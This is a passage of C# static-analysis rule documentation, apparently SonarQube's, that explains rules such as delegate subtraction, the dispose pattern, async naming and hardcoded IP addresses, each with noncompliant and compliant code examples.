  public event EventHandler MyEvent = null;  // Noncompliant
}

Compliant Solution

class X
{
  public int field;
  public object o;
  public object MyProperty { get; set; }
  public event EventHandler MyEvent;
}

Exceptions

const fields are ignored.

csharpsquid:S3172

In C#, delegates can be added together to chain their execution, and subtracted to remove their execution from the chain.

Subtracting a chain of delegates from another one might yield unexpected results as shown hereunder - and is likely to be a bug.

Noncompliant Code Example

MyDelegate first, second, third, fourth;
first = () => Console.Write("1");
second = () => Console.Write("2");
third = () => Console.Write("3");
fourth = () => Console.Write("4");

MyDelegate chain1234 = first + second + third + fourth; // Compliant - chain sequence = "1234"
MyDelegate chain12 = chain1234 - third - fourth; // Compliant - chain sequence = "12"


MyDelegate chain14 = first + fourth; // creates a new MyDelegate instance which is a list under the covers
MyDelegate chain23 = chain1234 - chain14; // Noncompliant; (first + fourth) doesn't exist in chain1234


// The chain sequence of "chain23" will be "1234" instead of "23"!
// Indeed, the sequence "1234" does not contain the subsequence "14", so nothing is subtracted
// (but note that "1234" contains both the "1" and "4" subsequences)
chain23 = chain1234 - (first + fourth); // Noncompliant

chain23(); // will print "1234"!

Compliant Solution

MyDelegate chain23 = chain1234 - first - fourth; // Compliant - "1" is first removed, followed by "4"

chain23(); // will print "23"
csharpsquid:S4143

It is highly suspicious when a value is saved for a key or index and then unconditionally overwritten. Such replacements are likely errors.

Noncompliant Code Example

list[index] = "value 1";
list[index] = "value 2";  // Noncompliant

dictionary.Add(key, "value 1");
dictionary[key] = "value 2"; // Noncompliant
csharpsquid:S4022

By default the storage type of an enum is Int32. In most cases it is not necessary to change this. In particular you will not achieve any performance gain by using a smaller data type (e.g. Byte) and may limit future uses.

Noncompliant Code Example

using System;

namespace MyLibrary
{
    public enum Visibility : sbyte // Noncompliant
    {
        Visible = 0,
        Invisible = 1,
    }
}

Compliant Solution

using System;

namespace MyLibrary
{
    public enum Visibility
    {
        Visible = 0,
        Invisible = 1,
    }
}
csharpsquid:S4261

According to the Task-based Asynchronous Pattern (TAP), methods returning either a System.Threading.Tasks.Task or a System.Threading.Tasks.Task<TResult> are considered "asynchronous". Such methods should use the Async suffix. Conversely methods which do not return such Tasks should not have an "Async" suffix in their names.

Noncompliant Code Example

using System;
using  System.Threading.Tasks;

namespace myLibrary
{

  public class Foo
  {
    public Task Read(byte [] buffer, int offset, int count, // Noncompliant
                                CancellationToken cancellationToken)
  }
}

Compliant Solution

using System;
using  System.Threading.Tasks;

namespace myLibrary
{

  public class Foo
  {
    public Task ReadAsync(byte [] buffer, int offset, int count, CancellationToken cancellationToken)
  }
}

Exceptions

This rule doesn't raise an issue when the method is an override or part of the implementation of an interface since it can not be renamed.

See

csharpsquid:S4823

Using command line arguments is security-sensitive. It has led in the past to the following vulnerabilities:

Command line arguments can be dangerous just like any other user input. They should never be used without being first validated and sanitized.

Remember also that any user can retrieve the list of processes running on a system, which makes the arguments provided to them visible. Thus passing sensitive information via command line arguments should be considered as insecure.

This rule raises an issue when on every program entry points (main methods) when command line arguments are used. The goal is to guide security code reviews.

Ask Yourself Whether

  • any of the command line arguments are used without being sanitized first.
  • your application accepts sensitive information via command line arguments.

If you answered yes to any of these questions you are at risk.

Recommended Secure Coding Practices

Sanitize all command line arguments before using them.

Any user or application can list running processes and see the command line arguments they were started with. There are safer ways of providing sensitive information to an application than exposing them in the command line. It is common to write them on the process' standard input, or give the path to a file containing the information.

Sensitive Code Example

namespace MyNamespace
{
    class Program
    {
        static void Main(string[] args) // Sensitive if there is a reference to "args" in the method.
        {
            string myarg = args[0];
            // ...
        }
    }
}

See

Deprecated

This rule is deprecated, and will eventually be removed.

csharpsquid:S4829

Reading Standard Input is security-sensitive. It has led in the past to the following vulnerabilities:

It is common for attackers to craft inputs enabling them to exploit software vulnerabilities. Thus any data read from the standard input (stdin) can be dangerous and should be validated.

This rule flags code that reads from the standard input.

Ask Yourself Whether

  • data read from the standard input is not sanitized before being used.

You are at risk if you answered yes to this question.

Recommended Secure Coding Practices

Sanitize all data read from the standard input before using it.

Sensitive Code Example

using System;
public class C
{
    public void Main()
    {
        Console.In; // Sensitive
        var code = Console.Read(); // Sensitive
        var keyInfo = Console.ReadKey(...); // Sensitive
        var text = Console.ReadLine(); // Sensitive
        Console.OpenStandardInput(...); // Sensitive
    }
}

Exceptions

This rule does not raise issues when the return value of the Console.Read Console.ReadKey or Console.ReadLine methods is ignored.

using System;
public class C
{
    public void Main()
    {
        Console.ReadKey(...); // Return value is ignored
        Console.ReadLine(); // Return value is ignored
    }
}

See:

Deprecated

This rule is deprecated, and will eventually be removed.

csharpsquid:S4023

Empty interfaces are usually used as a marker or a way to identify groups of types. The preferred way to achieve this is to use custom attributes.

Noncompliant Code Example

using System;

namespace MyLibrary
{
   public interface MyInterface // Noncompliant
   {
   }
}

Compliant Solution

using System;

namespace MyLibrary
{
   public interface MyInterface
   {
      void Foo();
   }
}
csharpsquid:S3971

GC.SuppressFinalize requests that the system not call the finalizer for the specified object. This should only be done when implementing Dispose as part of the Dispose Pattern.

This rule raises an issue when GC.SuppressFinalize is called outside that pattern.

csharpsquid:S4026

It is important to inform the ResourceManager of the language used to display the resources of the neutral culture for an assembly. This improves lookup performance for the first resource loaded.

This rule raises an issue when an assembly contains a ResX-based resource but does not have the System.Resources.NeutralResourcesLanguageAttribute applied to it.

Noncompliant Code Example

using System;

public class MyClass // Noncompliant
{
   public static void Main()
   {
      string[] cultures = { "de-DE", "en-us", "fr-FR" };
      Random rnd = new Random();
      int index = rnd.Next(0, cultures.Length);
      Thread.CurrentThread.CurrentUICulture = CultureInfo.CreateSpecificCulture(cultures[index]);

      ResourceManager rm = new ResourceManager("MyResources" ,
                                               typeof(MyClass).Assembly);
      string greeting = rm.GetString("Greeting");

      Console.Write("Enter your name: ");
      string name = Console.ReadLine();
      Console.WriteLine("{0} {1}!", greeting, name);
   }
}

Compliant Solution

using System;

[assembly:NeutralResourcesLanguageAttribute("en")]
public class MyClass
{
   public static void Main()
   {
      string[] cultures = { "de-DE", "en-us", "fr-FR" };
      Random rnd = new Random();
      int index = rnd.Next(0, cultures.Length);
      Thread.CurrentThread.CurrentUICulture = CultureInfo.CreateSpecificCulture(cultures[index]);

      ResourceManager rm = new ResourceManager("MyResources" ,
                                               typeof(MyClass).Assembly);
      string greeting = rm.GetString("Greeting");

      Console.Write("Enter your name: ");
      string name = Console.ReadLine();
      Console.WriteLine("{0} {1}!", greeting, name);
   }
}
csharpsquid:S4144

When two methods have the same implementation, either it was a mistake - something else was intended - or the duplication was intentional, but may be confusing to maintainers. In the latter case, one implementation should invoke the other.

Noncompliant Code Example

private const string CODE = "bounteous";
private int callCount = 0;

public string GetCode()
{
  callCount++;
  return CODE;
}

public string GetName()  // Noncompliant
{
  callCount++;
  return CODE;
}

Compliant Solution

private const string CODE = "bounteous";
private int callCount = 0;

public string GetCode()
{
  callCount++;
  return CODE;
}

public string GetName()
{
  return GetCode();
}

Exceptions

Empty methods, methods with only one line of code and methods with the same name (overload) are ignored.

csharpsquid:S2761

Calling the ! or ~ prefix operator twice does nothing: the second invocation undoes the first. Such mistakes are typically caused by accidentally double-tapping the key in question without noticing.

Either this is a bug, if the operator was actually meant to be called once, or misleading if done on purpose.

Noncompliant Code Example

int v1 = 0;
bool v2 = false;

var v3 = !!v1; // Noncompliant
var v4 = ~~v2; // Noncompliant

Compliant Solution

int v1 = 0;
bool v2 = false;

var v3 = !v1;
var v4 = ~v2;
csharpsquid:S2760

When the same condition is checked twice in a row, it is either confusing - why have separate checks? - or an error - some other condition should have been checked in the second test.

Noncompliant Code Example

if (a == b)
{
  doTheThing(b);
}
if (a == b) // Noncompliant; is this really what was intended?
{
  doTheThing(c);
}

Compliant Solution

if (a == b)
{
  doTheThing(b);
  doTheThing(c);
}

or

if (a == b)
{
  doTheThing(b);
}
if (b == c)
{
  doTheThing(c);
}

Exceptions

Since it is a common pattern to test a variable, reassign it if it fails the test, then re-test it, that pattern is ignored.

csharpsquid:S4025

Having a field in a child class with a name that differs from a parent class' field only by capitalization is sure to cause confusion. Such child class fields should be renamed.

Noncompliant Code Example

public class Fruit
{
  protected string plantingSeason;
  //...
}

public class Raspberry : Fruit
{
  protected string plantingseason;  // Noncompliant
  // ...
}

Compliant Solution

public class Fruit
{
  protected string plantingSeason;
  //...
}

public class Raspberry : Fruit
{
  protected string whenToPlant;
  // ...
}

Or

public class Fruit
{
  protected string plantingSeason;
  //...
}

public class Raspberry : Fruit
{
  // field removed; parent field will be used instead
  // ...
}

Exceptions

This rule ignores same-name fields that are static in both the parent and child classes. It also ignores private parent class fields, but in all other such cases, the child class field should be renamed.

csharpsquid:S3973

In the absence of enclosing curly braces, the line immediately after a conditional is the one that is conditionally executed. By both convention and good practice, such lines are indented. In the absence of both curly braces and indentation the intent of the original programmer is entirely unclear and perhaps not actually what is executed. Additionally, such code is highly likely to be confusing to maintainers.

Noncompliant Code Example

if (condition)  // Noncompliant
DoTheThing();

DoTheOtherThing();
SomethingElseEntirely();

Foo();

Compliant Solution

if (condition)
  DoTheThing();

DoTheOtherThing();
SomethingElseEntirely();

Foo();
csharpsquid:S3610

Calling GetType() on a nullable object returns the underlying value type. Thus, comparing the returned Type object to typeof(Nullable<SomeType>) doesn't make sense. The comparison either throws an exception or the result can be known at compile time.

Noncompliant Code Example

int? nullable = 42;
bool comparison = nullable.GetType() == typeof(Nullable<int>); // Noncompliant, always false
comparison = nullable.GetType() != typeof(Nullable<int>); // Noncompliant, always true

nullable = null;
comparison = nullable.GetType() != typeof(Nullable<int>); // Noncompliant, calling GetType on a null always throws an exception
csharpsquid:S3972

Code is clearest when each statement has its own line. Nonetheless, it is a common pattern to combine on the same line an if and its resulting then statement. However, when an if is placed on the same line as the closing } from a preceding then, else or else if part, it is either an error - else is missing - or the invitation to a future error as maintainers fail to understand that the two statements are unconnected.

Noncompliant Code Example

if (condition1) {
  // ...
} if (condition2) {  // Noncompliant
  //...
}

Compliant Solution

if (condition1) {
  // ...
} else if (condition2) {
  //...
}

Or

if (condition1) {
  // ...
}

if (condition2) {
  //...
}
csharpsquid:S4027

Exceptions types should provide the following constructors:

  • public MyException()
  • public MyException(string)
  • public MyException(string, Exception)
  • protected or private MyException(SerializationInfo, StreamingContext)

That fourth constructor should be protected in unsealed classes, and private in sealed classes.

Not having this full set of constructors can make it difficult to handle exceptions.

Noncompliant Code Example

using System;

namespace MyLibrary
{
  public class MyException // Noncompliant: several constructors are missing
  {
    public MyException()
    {
    }
  }
}

Compliant Solution

using System;
using System.Runtime.Serialization;

namespace MyLibrary
{
  public class MyException : Exception
  {
      public MyException()
      {
      }

      public MyException(string message)
          :base(message)
      {
      }

      public MyException(string message, Exception innerException)
          : base(message, innerException)
      {
      }

      protected MyException(SerializationInfo info, StreamingContext context)
          : base(info, context)
      {
      }
  }
}
csharpsquid:S1313

Hardcoding IP addresses is security-sensitive. It has led in the past to the following vulnerabilities:

Today's services have an ever-changing architecture due to their scaling and redundancy needs. It is a mistake to think that a service will always have the same IP address. When it does change, the hardcoded IP will have to be modified too. This will have an impact on the product development, delivery and deployment:

  • The developers will have to do a rapid fix every time this happens, instead of having an operation team change a configuration file.
  • It forces the same address to be used in every environment (dev, sys, qa, prod).

Last but not least it has an effect on application security. Attackers might be able to decompile the code and thereby discover a potentially sensitive address. They can perform a Denial of Service attack on the service at this address or spoof the IP address. Such an attack is always possible, but in the case of a hardcoded IP address the fix will be much slower, which will increase an attack's impact.

Ask Yourself Whether

The disclosed IP address is sensitive, eg:

  • Can give information to an attacker about the network topology.
  • It's a personal (assigned to an identifiable person) IP address.

There is a risk if you answered yes to any of these questions.

Recommended Secure Coding Practices

Don't hard-code the IP address in the source code, instead make it configurable.

Sensitive Code Example

var ip = "192.168.12.42";
var address = IPAddress.Parse(ip);

Compliant Solution

var ip = ConfigurationManager.AppSettings["myapplication.ip"];
var address = IPAddress.Parse(ip);

Exceptions

  • Although "::" is a valid IPv6 address, the rule doesn't report on it.
  • No issue is reported for 127.0.0.1 because loopback is not considered as sensitive

See

csharpsquid:S4050

When implementing operator overloads, it is very important to make sure that all related operators and methods are consistent in their implementation.

The following guidelines should be followed:

  • When providing operator == you should also provide operator != and vice-versa.
  • When providing operator == you should also provide Equals(Object) and GetHashCode().
  • When providing operator + or operator - you should also provide operator ==, respecting previous guidelines.

This rule raises an issue when any of these guidelines are not followed on publicly-visible type (public, protected or protected internal).

Noncompliant Code Example

using System;

namespace MyLibrary
{
  public class Foo // Noncompliant
  {
    private int left;
    private int right;

    public Foo(int l, int r)
    {
      this.left = l;
      this.right = r;
    }

    public static Foo operator +(Foo a, Foo b)
    {
      return new Foo(a.left + b.left, a.right + b.right);
    }

    public static Foo operator -(Foo a, Foo b)
    {
      return new Foo(a.left - b.left, a.right - b.right);
    }
  }
}

Compliant Solution

using System;

namespace MyLibrary
{
  public class Foo
  {
    private int left;
    private int right;

    public Foo(int l, int r)
    {
      this.left = l;
      this.right = r;
    }

    public static Foo operator +(Foo a, Foo b)
    {
      return new Foo(a.left + b.left, a.right + b.right);
    }

    public static Foo operator -(Foo a, Foo b)
    {
      return new Foo(a.left - b.left, a.right - b.right);
    }

    public static bool operator ==(Foo a, Foo b)
    {
      return (a.left == b.left && a.right == b.right);
    }

    public static bool operator !=(Foo a, Foo b)
    {
      return !(a == b);
    }

    public override bool Equals(Object obj)
    {
      Foo a = obj as Foo;
      if (a == null)
        return false;
      return this == a;
    }

    public override int GetHashCode()
    {
       return (this.left * 10) + this.right;
    }
  }
}
csharpsquid:S4052

With the advent of .NET framework version 2, certain practices have become obsolete.

In particular, exceptions should now extend System.Exception instead of System.ApplicationException. Similarly, generic collections should be used instead of the older, non-generic, ones. Finally when creating an XML view, you should not extend System.Xml.XmlDocument.

This rule raises an issue when an externally visible type extends one of these types:

  • System.ApplicationException
  • System.Xml.XmlDocument
  • System.Collections.CollectionBase
  • System.Collections.DictionaryBase
  • System.Collections.Queue
  • System.Collections.ReadOnlyCollectionBase
  • System.Collections.SortedList
  • System.Collections.Stack

Noncompliant Code Example

using System;
using System.Collections;

namespace MyLibrary
{
  public class MyCollection : CollectionBase  // Noncompliant
  {
  }
}

Compliant Solution

using System;
using System.Collections;

namespace MyLibrary
{
  public class MyCollection : Collection<T>
  {
  }
}
csharpsquid:S4055

String literals embedded in the source code will not be localized properly.

This rule raises an issue when a literal string is passed as a parameter or property and one or more of the following cases is true:

  • The LocalizableAttribute attribute of the parameter or property is set to true.
  • The parameter or property name contains "Text", "Message", or "Caption".
  • The name of the string parameter that is passed to a Console.Write or Console.WriteLine method is either "value" or "format".

Noncompliant Code Example

using System;
using System.Globalization;
using System.Reflection;
using System.Windows.Forms;

[assembly: NeutralResourcesLanguageAttribute("en-US")]
namespace MyLibrary
{
    public class Foo
    {
        public void SetHour(int hour)
        {
            if (hour < 0 || hour > 23)
            {
                MessageBox.Show("The valid range is 0 - 23."); // Noncompliant
            }
        }
    }
}

Compliant Solution

using System;
using System.Globalization;
using System.Reflection;
using System.Resources;
using System.Windows.Forms;



[assembly: NeutralResourcesLanguageAttribute("en-US")]
namespace MyLibrary
{
    public class Foo
    {
        ResourceManager rm;
        public Foo()
        {
            rm = new ResourceManager("en-US", Assembly.GetExecutingAssembly());
        }

        public void SetHour(int hour)
        {
            if (hour < 0 || hour > 23)
            {
                MessageBox.Show(
                rm.GetString("OutOfRangeMessage", CultureInfo.CurrentUICulture));
            }
        }
    }
}
csharpsquid:S1226

While it is technically correct to assign to parameters from within method bodies, doing so before the parameter value is read is likely a bug. Instead, initial values of parameters, caught exceptions, and foreach parameters should be, if not treated as final, then at least read before reassignment.

Noncompliant Code Example

public void DoTheThing(string str, int i, List<string> strings)
{
  str = i.ToString(i);  // Noncompliant

  foreach (var s in strings)
  {
    s = "hello world";  // Noncompliant
  }
}
csharpsquid:S2437

Certain bit operations are just silly and should not be performed because their results are predictable.

Specifically, using & -1 with any value will always result in the original value, as will anyValue ^ 0 and anyValue | 0.

csharpsquid:S3889

Thread.Suspend and Thread.Resume can give unpredictable results, and both methods have been deprecated. Indeed, if Thread.Suspend is not used very carefully, a thread can be suspended while holding a lock, thus leading to a deadlock. Other safer synchronization mechanisms should be used, such as Monitor, Mutex, and Semaphore.

Noncompliant Code Example

static void Main(string[] args)
{
  // ...
  Thread.CurrentThread.Suspend(); // Noncompliant
  Thread.CurrentThread.Resume(); // Noncompliant
}

See

csharpsquid:S1227

break; is an unstructured control flow statement which makes code harder to read.

Ideally, every loop should have a single termination condition.

Noncompliant Code Example

int i = 0;
while (true)
{
  if (i == 10)
  {
    break;      // Non-Compliant
  }

  Console.WriteLine(i);
  i++;
}

Compliant Solution

int i = 0;
while (i != 10) // Compliant
{
  Console.WriteLine(i);
  i++;
}
csharpsquid:S2436

A method or class with too many type parameters has likely aggregated too many responsibilities and should be split.

Noncompliant Code Example

With the default parameter value of 2:

<S, T, U, V> void foo() {} // Noncompliant; not really readable
<String, Integer, Object, String>foo(); // especially on invocations
csharpsquid:S1109

Shared coding conventions make it possible for a team to efficiently collaborate. This rule makes it mandatory to place a close curly brace at the beginning of a line.

Noncompliant Code Example

if(condition)
{
  doSomething();}

Compliant Solution

if(condition)
{
  doSomething();
}

Exceptions

When blocks are inlined (open and close curly braces on the same line), no issue is triggered.

if(condition) {doSomething();}
csharpsquid:S3881

The IDisposable interface is a mechanism to release unmanaged resources, if not implemented correctly this could result in resource leaks or more severe bugs.

This rule raises an issue when the recommended dispose pattern, as defined by Microsoft, is not adhered to. See the Compliant Solution section for examples.

Satisfying the rule's conditions will enable potential derived classes to correctly dispose the members of your class:

  • sealed classes are not checked.
  • If a base class implements IDisposable your class should not have IDisposable in the list of its interfaces. In such cases it is recommended to override the base class's protected virtual void Dispose(bool) method or its equivalent.
  • The class should not implement IDisposable explicitly, e.g. the Dispose() method should be public.
  • The class should contain protected virtual void Dispose(bool) method. This method allows the derived classes to correctly dispose the resources of this class.
  • The content of the Dispose() method should be invocation of Dispose(true) followed by GC.SuppressFinalize(this)
  • If the class has a finalizer, i.e. a destructor, the only code in its body should be a single invocation of Dispose(false).
  • If the class inherits from a class that implements IDisposable it must call the Dispose, or Dispose(bool) method of the base class from within its own implementation of Dispose or Dispose(bool), respectively. This ensures that all resources from the base class are properly released.

Noncompliant Code Example

public class Foo1 : IDisposable // Noncompliant - provide protected overridable implementation of Dispose(bool) on Foo or mark the type as sealed.
{
    public void Dispose() // Noncompliant - should contain only a call to Dispose(true) and then GC.SuppressFinalize(this)
    {
        // Cleanup
    }
}

public class Foo2 : IDisposable
{
    void IDisposable.Dispose() // Noncompliant - Dispose() should be public
    {
        Dispose(true);
        GC.SuppressFinalize(this);
    }

    public virtual void Dispose() // Noncompliant - Dispose() should be sealed
    {
        Dispose(true);
        GC.SuppressFinalize(this);
    }
}

public class Foo3 : IDisposable
{
    public void Dispose()
    {
        Dispose(true);
        GC.SuppressFinalize(this);
    }

    protected virtual void Dispose(bool disposing)
    {
        // Cleanup
    }

    ~Foo3() // Noncompliant - Modify Foo.~Foo() so that it calls Dispose(false) and then returns.
    {
        // Cleanup
    }
}{code}

Compliant Solution

// Sealed class
public sealed class Foo1 : IDisposable
{
    public void Dispose()
    {
        // Cleanup
    }
}

// Simple implementation
public class Foo2 : IDisposable
{
    public void Dispose()
    {
        Dispose(true);
        GC.SuppressFinalize(this);
    }

    protected virtual void Dispose(bool disposing)
    {
        // Cleanup
    }
}

// Implementation with a finalizer
public class Foo3 : IDisposable
{
    public void Dispose()
    {
        Dispose(true);
        GC.SuppressFinalize(this);
    }

    protected virtual void Dispose(bool disposing)
    {
        // Cleanup
    }

    ~Foo3()
    {
        Dispose(false);
    }
}

// Base disposable class
public class Foo4 : DisposableBase
{
    protected override void Dispose(bool disposing)
    {
        // Cleanup
        // Do not forget to call base
        base.Dispose(disposing);
    }
}

See

Refer to

csharpsquid:S4057

When you create a DataTable or DataSet, you should set the locale explicitly. By default, the locale for these types is the current culture. For data that is stored in a database or file and is shared globally, the locale should ordinarily be set to the invariant culture (CultureInfo.InvariantCulture).

This rule raises an issue when System.Data.DataTable or System.Data.DataSet instances are created without explicitly setting the locale property (DataTable.Locale or DataSet.Locale).

Noncompliant Code Example

using System;
using System.Data;

namespace MyLibrary
{
    public class Foo
    {
        public DataTable CreateTable()
        {
            DataTable table = new DataTable("Customers"); // Noncompliant table.Locale not set
            DataColumn key = table.Columns.Add("ID", typeof(Int32));

            key.AllowDBNull = false;
            key.Unique = true;
            table.Columns.Add("LastName", typeof(String));
            table.Columns.Add("FirstName", typeof(String));
            return table;
        }
    }
}

Compliant Solution

using System;
using System.Data;
using System.Globalization;

namespace MyLibrary
{
    public class Foo
    {
        public DataTable CreateTable()
        {
            DataTable table = new DataTable("Customers");
            table.Locale = CultureInfo.InvariantCulture;
            DataColumn key = table.Columns.Add("ID", typeof(Int32));

            key.AllowDBNull = false;
            key.Unique = true;
            table.Columns.Add("LastName", typeof(String));
            table.Columns.Add("FirstName", typeof(String));
            return table;
        }
    }
}
csharpsquid:S3880

Finalizers come with a performance cost due to the overhead of tracking the life cycle of objects. An empty one is consequently costly with no benefit or justification.

Noncompliant Code Example

public class Foo
{
    ~Foo() // Noncompliant
    {
    }
}
csharpsquid:S4056

When a System.Globalization.CultureInfo or IFormatProvider object is not supplied, the default value that is supplied by the overloaded member might not have the effect that you want in all locales.

You should supply culture-specific information according to the following guidelines:

  • If the value will be displayed to the user, use the current culture. See CultureInfo.CurrentCulture.
  • If the value will be stored and accessed by software (persisted to a file or database), use the invariant culture. See CultureInfo.InvariantCulture.
  • If you do not know the destination of the value, have the data consumer or provider specify the culture.

This rule raises an issue when a method or constructor calls one or more members that have overloads that accept a System.IFormatProvider parameter, and the method or constructor does not call the overload that takes the IFormatProvider parameter. This rule ignores calls to .NET Framework methods that are documented as ignoring the IFormatProvider parameter as well as the following methods:

  • Activator.CreateInstance
  • ResourceManager.GetObject
  • ResourceManager.GetString

Noncompliant Code Example

using System;

namespace MyLibrary
{
    public class Foo
    {
        public void Bar(String string1)
        {
            if(string.Compare(string1, string2, false) == 0) // Noncompliant
            {
                Console.WriteLine(string3.ToLower()); // Noncompliant
            }
        }
    }
}

Compliant Solution

using System;
using System.Globalization;

namespace MyLibrary
{
    public class Foo
    {
        public void Bar(String string1, String string2, String string3)
        {
            if(string.Compare(string1, string2, false,
                              CultureInfo.InvariantCulture) == 0)
            {
                Console.WriteLine(string3.ToLower(CultureInfo.CurrentCulture));
            }
        }
    }
}

Exceptions

This rule will not raise an issue when the overload is marked as obsolete.

csharpsquid:S4059

Properties and Get method should have names that makes them clearly distinguishable.

This rule raises an issue when the name of a public or protected member starts with 'Get' and otherwise matches the name of a public or protected property.

Noncompliant Code Example

using System;

namespace MyLibrary
{
    public class Foo
    {
        public DateTime Date
        {
            get { return DateTime.Today; }
        }

        public string GetDate() // Noncompliant
        {
            return this.Date.ToString();
        }
    }
}

Compliant Solution

using System;

namespace MyLibrary
{
    public class Foo
    {
        public DateTime Date
        {
            get { return DateTime.Today; }
        }

        public string GetDateAsString()
        {
            return this.Date.ToString();
        }
    }
}
csharpsquid:S2551

Shared resources should not be used for locking as it increases the chance of deadlocks. Any other thread could acquire (or attempt to acquire) the same lock for another unrelated purpose.

Instead, a dedicated object instance should be used for each shared resource, to avoid deadlocks or lock contention.

The following objects are considered as shared resources:

  • this
  • a Type object
  • a string literal
  • a string instance

Noncompliant Code Example

public void MyLockingMethod()
{
    lock (this) // Noncompliant
    {
        // ...
    }
}

Compliant Solution

private readonly object lockObj = new object();

public void MyLockingMethod()
{
    lock (lockObj)
    {
        // ...
    }
}

See

Microsoft Documentation: Managed Threading Best Practices

csharpsquid:S4058

Many string operations, the Compare and Equals methods in particular, provide an overload that accepts a StringComparison enumeration value as a parameter. Calling these overloads and explicitly providing this parameter makes your code clearer and easier to maintain.

This rule raises an issue when a string comparison operation doesn't use the overload that takes a StringComparison parameter.

Noncompliant Code Example

using System;

namespace MyLibrary
{
  public class Foo
  {
    public bool HaveSameNames(string name1, string name2)
    {
      return string.Compare(name1, name2) == 0; // Noncompliant
    }
  }
}

Compliant Solution

using System;

namespace MyLibrary
{
  public class Foo
  {
    public bool HaveSameNames(string name1, string name2)
    {
      return string.Compare(name1, name2, StringComparison.OrdinalIgnoreCase) == 0;
    }
  }
}
csharpsquid:S3885

The parameter to Assembly.Load includes the full specification of the dll to be loaded. Use another method, and you might end up with a dll other than the one you expected.

This rule raises an issue when Assembly.LoadFrom, Assembly.LoadFile, or Assembly.LoadWithPartialName is called.

Noncompliant Code Example

static void Main(string[] args)
{
    Assembly.LoadFrom(...); // Noncompliant
    Assembly.LoadFile(...); // Noncompliant
    Assembly.LoadWithPartialName(...); // Noncompliant + deprecated
}
csharpsquid:S3400

There's no point in forcing the overhead of a method call for a method that always returns the same constant value. Even worse, the fact that a method call must be made will likely mislead developers who call the method thinking that something more is done. Declare a constant instead.

This rule raises an issue if on methods that contain only one statement: the return of a constant value.

Noncompliant Code Example

int GetBestNumber()
{
  return 12;  // Noncompliant
}

Compliant Solution

const int BestNumber = 12;

or

static readonly int BestNumber = 12;
csharpsquid:S3884

CoSetProxyBlanket and CoInitializeSecurity both work to set the permissions context in which the process invoked immediately after is executed. Calling them from within that process is useless because it's too late at that point; the permissions context has already been set.

Specifically, these methods are meant to be called from non-managed code such as a C++ wrapper that then invokes the managed, i.e. C# or VB.NET, code.

Noncompliant Code Example

[DllImport("ole32.dll")]
static extern int CoSetProxyBlanket([MarshalAs(UnmanagedType.IUnknown)]object pProxy, uint dwAuthnSvc, uint dwAuthzSvc,
	[MarshalAs(UnmanagedType.LPWStr)] string pServerPrincName, uint dwAuthnLevel, uint dwImpLevel, IntPtr pAuthInfo,
	uint dwCapabilities);

public enum RpcAuthnLevel
{
	Default = 0,
	None = 1,
	Connect = 2,
	Call = 3,
	Pkt = 4,
	PktIntegrity = 5,
	PktPrivacy = 6
}

public enum RpcImpLevel
{
	Default = 0,
	Anonymous = 1,
	Identify = 2,
	Impersonate = 3,
	Delegate = 4
}

public enum EoAuthnCap
{
	None = 0x00,
	MutualAuth = 0x01,
	StaticCloaking = 0x20,
	DynamicCloaking = 0x40,
	AnyAuthority = 0x80,
	MakeFullSIC = 0x100,
	Default = 0x800,
	SecureRefs = 0x02,
	AccessControl = 0x04,
	AppID = 0x08,
	Dynamic = 0x10,
	RequireFullSIC = 0x200,
	AutoImpersonate = 0x400,
	NoCustomMarshal = 0x2000,
	DisableAAA = 0x1000
}

[DllImport("ole32.dll")]
public static extern int CoInitializeSecurity(IntPtr pVoid, int cAuthSvc, IntPtr asAuthSvc, IntPtr pReserved1,
	RpcAuthnLevel level, RpcImpLevel impers, IntPtr pAuthList, EoAuthnCap dwCapabilities, IntPtr pReserved3);

static void Main(string[] args)
{
	var hres1 = CoSetProxyBlanket(null, 0, 0, null, 0, 0, IntPtr.Zero, 0); // Noncompliant

	var hres2 = CoInitializeSecurity(IntPtr.Zero, -1, IntPtr.Zero, IntPtr.Zero, RpcAuthnLevel.None,
		RpcImpLevel.Impersonate, IntPtr.Zero, EoAuthnCap.None, IntPtr.Zero); // Noncompliant
}

See

csharpsquid:S2674

You cannot assume that any given stream reading call will fill the byte[] passed in to the method with the number of bytes requested. Instead, you must check the value returned by the read method to see how many bytes were read. Fail to do so, and you introduce a bug that is both harmful and difficult to reproduce.

This rule raises an issue when a Stream.Read or a Stream.ReadAsync method is called, but the return value is not checked.

Noncompliant Code Example

public void DoSomething(string fileName)
{
  using (var stream = File.Open(fileName, FileMode.Open))
  {
    var result = new byte[stream.Length];
    stream.Read(result, 0, (int)stream.Length); // Noncompliant
    // ... do something with result
  }
}

Compliant Solution

public void DoSomething(string fileName)
{
  using (var stream = File.Open(fileName, FileMode.Open))
  {
    var buffer = new byte[1024];
    using (var ms = new MemoryStream())
    {
        int read;
        while ((read = stream.Read(buffer, 0, buffer.Length)) > 0)
        {
            ms.Write(buffer, 0, read);
        }
        // ... do something with ms
    }
  }
}

See

  • CERT, FIO10-J. - Ensure the array is filled when using read() to fill an array
csharpsquid:S3887

Using the readonly keyword on a field means that it can't be changed after initialization. However, when applied to collections or arrays, that's only partly true. readonly enforces that another instance can't be assigned to the field, but it cannot keep the contents from being updated. That means that in practice, the field value really can be changed, and the use of readonly on such a field is misleading, and you're likely to not be getting the behavior you expect.

This rule raises an issue when a non-private, readonly field is an array or collection.

Noncompliant Code Example

public class MyClass
{
  public readonly string[] strings;  // Noncompliant

  // ...

Compliant Solution

public class MyClass
{
  public string[] strings;

  // ...

or

public class MyClass
{
  public readonly ImmutableArray<string> strings;

  // ...

or

public class MyClass
{
  private readonly string[] strings;

  // ...
csharpsquid:S1104

Public fields in public classes do not respect the encapsulation principle and has three main disadvantages:

  • Additional behavior such as validation cannot be added.
  • The internal representation is exposed, and cannot be changed afterwards.
  • Member values are subject to change from anywhere in the code and may not meet the programmer's assumptions.

By using private fields and public properties (set and get), unauthorized modifications are prevented. Properties also benefit from additional protection (security) features such as Link Demands.

Note that due to optimizations on simple properties, public fields provide only very little performance gain.

Noncompliant Code Example

public class Foo
{
    public int instanceData = 32; // Noncompliant
}

Compliant Solution

public class Foo
{
    private int instanceData = 32;

    public int InstanceData
    {
        get { return instanceData; }
	set { instanceData = value ; }
    }
}

Exceptions

Fields marked as readonly or const are ignored by this rule.

Fields inside classes or structs annotated with the StructLayoutAttribute are ignored by this rule.

See

csharpsquid:S4040

Certain characters, once normalized to lowercase, cannot make a round trip. That is, they can not be converted from one locale to another and then accurately restored to their original characters.

It is therefore strongly recommended to normalize characters and strings to uppercase instead.

Noncompliant Code Example

Thread.CurrentThread.CurrentCulture = new CultureInfo("tr-TR");
